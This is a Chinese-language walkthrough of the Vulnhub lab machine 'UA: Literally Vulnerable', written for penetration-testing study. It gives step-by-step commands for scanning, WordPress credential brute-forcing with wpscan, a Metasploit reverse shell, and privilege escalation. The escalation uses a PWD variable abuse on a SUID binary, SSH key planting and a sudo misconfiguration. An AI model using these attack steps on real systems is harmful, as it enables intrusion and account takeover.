靶机渗透测试(UA: Literally Vulnerable):
Vulnhub靶机 UA: Literally Vulnerable
靶机:修改靶机的网络配置为桥接模式。
攻击机:Kali虚拟机,同样使用桥接模式,即可访问靶机。
靶机难度:(Initial Shell (Easy) - Privileges Escalation (Intermediate))
目标:Flags: 3 (local.txt, user.txt & root.txt)
flag进度:3/3
渗透流程:
1. 探测靶机ip地址(netdiscover -i eth0 -r 网关)
命令:netdiscover -i eth0 -r 192.168.10.0
靶机ip为: 192.168.10.237
2. nmap进行靶机端口服务扫描
命令: nmap -sS -Pn -A -p- -n 192.168.10.237
靶机开放21/ftp、22/ssh、 80/http、 65535/http等端口服务
3. 根据端口服务进行信息收集(21/ftp端口)
在kali中登陆ftp服务(靶机允许匿名登陆),发现在FTP目录下存在一项“backupPassword”文件,似乎是密码的备份文件,保存备用。
4. 端口服务信息收集(80/http端口)
我们登陆80端口,发现HTTP页面似乎没有完全加载,且该站点正在向iteral.vurnerable的域名发出请求。
所以我们在Kali上将该域名映射到远程计算机IP,
在“/etc /hosts”配置文件的末尾添加:
192.168.10.237 literally.vulnerable
再次刷新页面,页面正常加载!!!
对于80页面进行信息收集,ctrl+u查看源代码,dirb进行目录扫描,均没有任何发现,80页面无果,没有收集到任何有价值的信息!!!
5. 端口服务信息收集(65535/http端口)
5.1. 信息收集~65535端口
登陆65535端口,看到为apache默认回显页面:
5.2. 目录扫描
使用dirb工具进行目录扫描,我们可以cd到/usr/share/dirb目录下,指定big.txt进行扫描(使用大字典)
可以看到我们扫描出来了phpcms、phpcms/wp-admin等敏感目录;
登陆phpcms页面,发现无论使用弱口令爆破,还是使用刚刚爆破出来的密码,都不能正常登陆!
于是我们尝试直接登陆后台页面/phpcms/wp-admin,需要后台账号密码,我们使用wpscan枚举用户名密码;
wpscan用法参考
5.3. 枚举用户名密码登陆后台
使用工具wpscan对目标网站进行枚举,命令如下:
wpscan --url http://192.168.10.237:65535/phpcms --enumerate
通过枚举,发现了两个用户名:
maybeadmin
notadmin
然后使用从FTP服务器上下载的密码本进行爆破。
使用wpscan进行爆破,命令如下:
wpscan --url http://192.168.10.237:65535/phpcms -U users.txt -P backupPasswords
经过爆破,我们成功获取到了maybeadmin用户的密码:
maybeadmin:$EPid%J2L9LufO5
登陆成功!
不过maybeadmin用户并不是管理员,于是开始在后台的各个页面进行嗅探,在Posts页面我们发现了另一个用户notadmin的密码!!!并且该用户为管理员!!!
由于maybeadmin不是管理员账户(后台没有Users模块),所以我们切换为notadmin账户重新登录后台;
notadmin:Pa$$w0rd13!&
6. 反弹shell
WordPress在管理员权限下常见的有两种reverse shell的方式:
第一种:编辑Themes中的php页面,将reverse shell的代码添加进去,然后kali监听端口、访问php页面;(也可以利用PHP一句话,使用蚁剑连接,再反弹shell,得到shell)
第二种:直接用MSF中exploit/unix/webapp/wp_admin_shell_upload模块,show options查看各种需要set的配置,利用得到的notadmin用户和密码,获取shell。
6.1. MSF反弹shell
在这里,我们使用第二种操作,使用MSF反弹shell:
使用Metasploit来获取一个反向shell:
root@kali:~# msfconsole
msf5 > use exploit/unix/webapp/wp_admin_shell_upload
msf5 > set rhosts 192.168.10.237
msf5 > set rport 65535
msf5 > set targeturi /phpcms
msf5 > set username notadmin
msf5 > set password Pa$$w0rd13!&
msf5 > exploit
成功反弹shell!!(得到www低权限用户)
然后使用python3命令获取交互式shell
python3 -c ‘import pty; pty.spawn("/bin/bash")’
7. 权限提升(PWD修改与SSH协议)
进入到目标机器的shell后,发现了一个二进制文件,并且有一个名为john的用户启用了SUID权限。
当我们执行这个二进制文件itseasy时,系统会提示我们路径错误!
7.1. PWD环境变量修改
这个二进制文件对应名为PWD的环境变量的值,尝试使用这个变量执行/bin/bash
export PWD=$(/bin/bash)
./itseasy
成功进入john用户下!!!!
(PWD是环境变量,而pwd对应的是可执行文件/usr/bin/pwd。如果这里调用的是pwd,那么我们可以通过PATH环境变量提权,而这里调用的是PWD环境变量,所以我们只能通过修改PWD的值进行提权)
我们在使用ls、cat等命令时,发现均不可调用,执行某些命令没有返回结果,但在执行exit后,却输出了结果!
7.2. 生成ssh文件,利用私钥登陆john用户
来回切换www用户和john用户太过于麻烦,于是我们联想到通过生成ssh文件,利用私钥登陆john用户
命令:
root @ kali:〜#ssh-keygen -t rsa (-t,表示使用rsa加密)
可以看到生成了id_rsa(私钥)、id_rsa.pub(公钥)
然后我们在靶机上新建ssh文件夹,cat查看生成的id_rsa.pub公钥,复制到目标主机的authorized_keys文件中:
命令:
mkdir -p /home/john/.ssh
echo “公钥” > /home/john/.ssh/authorized_keys
写入公钥成功后,我们就可以使用ssh进行远程登陆
(注意:因为在生成私钥文件时,并没有使用密码,所以为免密登陆;
如果使用了密码,登陆时则会要求输入密码)
(我们也可以使用命令:
ssh -i id_rsa john@192.168.10.237
使用-i命令指向私钥文件,调用私钥文件登陆ssh)
ssh远程登陆john用户成功!
cat查看user.txt,得到user.flag!!!
8. 权限提升(sudo提权)
我们使用sudo -l命令查看john用户权限,发现需要输入john用户的密码,使用find命令查找关于password的文件信息,发现在./.local/share/tmpFiles/myPassword文件中存在密码,cat查看为base64加密,解密得到john用户密码;
find . -type f -iname “password” 2>/dev/null
cat ./.local/share/tmpFiles/myPassword
echo“ am9objpZWlckczhZNDlJQiNaWko =” | base64 -d
john:YZW$s8Y49IB#ZZJ
再次执行sudo -l,看到提示john可以执行(root)/var/www/html/test.html文件,于是我们自己写入/bin/bash/导入test.html中,达到利用目的;
(拒绝访问?john不可写入文件)
我们切换到www-data用户,发现www用户可以写入文件!
(使用exit退出shell)
可以看到我们成功写入test.html文件,然后我们对该文件赋予777可执行权限:
命令:
echo “/bin/bash” > /var/www/html/test.html
chmod 777 test.html
然后我们回到ssh远程连接中,sudo执行test.html文件,id查看当前用户,成功提权root!!!
cat root.txt 得到root.flag!!!
cd到doe用户目录下,cat查看local.txt得到local.flag!!
实验结束!!!
实验总结:
本次靶机复现过程中,首先ftp服务器的匿名登陆,得到后台用户密码;80页面的信息收集,以及配置hosts文件让页面正常回显很有意义;
在65535页面中,wpscan的枚举用户名发挥了重大作用,然后后续中使用msf反弹shell,得到低权限用户;
提权过程中,使用PWD环境变量提权,提升为john用户,SSH密钥登录,以及对ssh安全外壳协议的学习是本次的收获;
参考博客:
https://www.cnblogs.com/sn1per/p/12553081.html
https://blog.csdn.net/weixin_44214107/article/details/103544896